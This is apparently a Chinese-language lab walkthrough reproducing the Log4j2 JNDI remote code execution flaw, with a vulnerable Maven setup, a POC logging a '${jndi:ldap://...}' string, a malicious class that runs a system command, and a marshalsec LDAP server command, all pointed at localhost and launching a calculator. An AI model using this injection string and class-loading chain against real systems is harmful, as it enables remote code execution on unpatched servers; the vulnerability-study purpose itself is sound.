- 简介
Apache Log4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
- 漏洞概述
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
- 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
-
环境搭建
1、创建一个新的maven项目,并导入Log4j的依赖包
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
-
使用POC测试
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * @author cr * @date 2021/12/20 14:39 */ public class LogTest { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://localhost:8888/Exploit}"); } }
-
编译一恶意类Exploit.class
新建Exploit.java,然后编译为class文件
/** * @author cr * @date 2021/12/20 14:40 */ public class Exploit { static { System.err.println("Pwned"); try { String osName = System.getProperty("os.name"); String command = ""; switch (osName) { case "Mac OS X": command = "open /System/Applications/Calculator.app"; break; case "Windows": command = "calc"; break; default: } Runtime.getRuntime().exec(command); } catch ( Exception e ) { e.printStackTrace(); } } }
javac Exploit.java
-
使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
-
运行LogTest.java,即可访问恶意类并执行写在其中的命令